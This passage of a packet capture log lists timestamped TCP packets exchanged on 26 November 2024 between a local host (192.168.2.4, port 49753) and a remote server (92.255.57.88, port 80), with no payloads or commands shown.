Nov 26, 2024 00:07:46.687681913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.688371897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.688419104 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.688541889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.688589096 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.689208031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.689258099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.689292908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.689337969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.689987898 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.690037012 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.690084934 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.690128088 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.690769911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.690819025 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.690879107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.690923929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.691581011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.691648960 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.691680908 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.691724062 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.692419052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.692467928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.692528009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.692569971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.693191051 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.693239927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.693281889 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.693326950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.694034100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.694082022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.694160938 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.694205046 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.694860935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.694900990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.694912910 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.694943905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.695600033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.695650101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.695732117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.695775986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.696403980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.696453094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.696520090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.696564913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.697243929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.697289944 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.697367907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.697417974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.698044062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.698090076 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.698154926 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.698201895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.698832035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.698879957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.698916912 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.698959112 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.699640036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.699688911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.699790955 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.699839115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.700450897 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.700499058 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.700579882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.700628042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.701271057 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.701318026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.701358080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.701395988 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.702090025 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.702163935 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.702256918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.702300072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.702874899 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.702922106 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.703005075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.703047991 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.703685045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.703732967 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.703866005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.703913927 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.704495907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.704546928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.704608917 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.704651117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.705332041 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.705377102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.705423117 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.705467939 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.706114054 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.706161022 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.706197023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.706238985 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.706921101 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.707072973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.707103968 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.707135916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.707716942 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.707761049 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.707840919 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.707882881 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.708518028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.708559990 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.708614111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.708657026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.709327936 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.709372044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.709458113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.709512949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.710325956 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.710374117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.710407972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.710450888 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.710994959 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.711040974 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.711047888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.711081028 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.711836100 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.711880922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.711916924 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.711960077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.712568998 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.712630987 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.712660074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.712692976 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.713356972 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.713401079 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.881614923 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.881649017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.881757021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.881913900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.881958961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.881985903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.882026911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.882801056 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.882812977 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.882853031 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.882870913 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.883554935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.883608103 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.883636951 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.883675098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.884352922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.884397030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.884535074 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.884578943 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.885137081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.885185957 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.885593891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.885658979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.885953903 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.885998011 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.886022091 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.886058092 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.886738062 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.886780977 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.886851072 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.886893034 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.887552023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.887597084 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.887665987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.887710094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.888346910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.888412952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.888448954 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.888485909 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.889162064 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.889219999 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.889250040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.889286995 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.890002012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.890049934 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.890142918 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.890185118 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.890794992 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.890841961 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.890989065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.891031981 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.891602039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.891645908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.891710997 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.891752005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.892385960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.892432928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.892443895 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.892482042 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.893240929 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.893289089 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.893359900 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.893402100 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.894037962 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.894089937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.894161940 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.894205093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.894839048 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.894895077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.894959927 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.894999027 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.895639896 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.895694017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.895705938 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.895728111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.896450996 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.896502018 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.896548033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.896591902 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.897217035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.897265911 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.897332907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.897381067 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.898037910 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.898085117 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.898302078 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.898345947 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.898844004 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.898888111 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.898968935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.899010897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.899657011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.899702072 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.899725914 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.899765015 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.900454044 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.900499105 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.900561094 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.900604010 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.901278973 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.901325941 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.901417017 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.901459932 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.902066946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.902113914 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.902172089 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.902214050 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.902879953 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.902929068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.902983904 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.903023005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.903683901 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.903732061 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.903769016 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.903805971 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.904481888 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.904531956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.904568911 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.904601097 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.905291080 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.905333996 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.905385971 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.905428886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.906090021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.906151056 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.906209946 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.906250000 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.906903982 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.906946898 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.907015085 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.907052994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.907699108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.907744884 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.907819986 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.907860041 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.908524990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.908565998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.908811092 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.908850908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.909333944 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.909378052 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.909421921 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.909460068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.910140991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.910185099 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.910238028 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.910274982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.910944939 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.910983086 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.911010981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.911045074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.911813021 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.911854982 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.911926985 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.911963940 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.912571907 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.912622929 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.912662029 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.912698030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.913399935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.913445950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.913474083 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.913503885 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.914163113 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.914205074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.914268970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.914305925 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.914979935 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.915030003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.915064096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.915097952 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.915860891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.915901899 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.915996075 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.916034937 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.916605949 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.916665077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.916970015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.917009115 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.917462111 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.917500973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.917674065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.917711973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.918237925 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.918277979 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.918320894 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.918360949 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.919027090 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.919066906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.919147015 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.919183969 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.919933081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.919972897 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.920047998 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.920084953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.920619965 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.920660973 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.920734882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.920773029 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.921457052 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.921498060 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.921536922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.921571970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.922255039 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.922291994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.922349930 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.922389030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.923046112 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.923088074 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.923176050 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.923214912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:46.923902035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:46.923949003 CET	49753	80	192.168.2.4	92.255.57.88
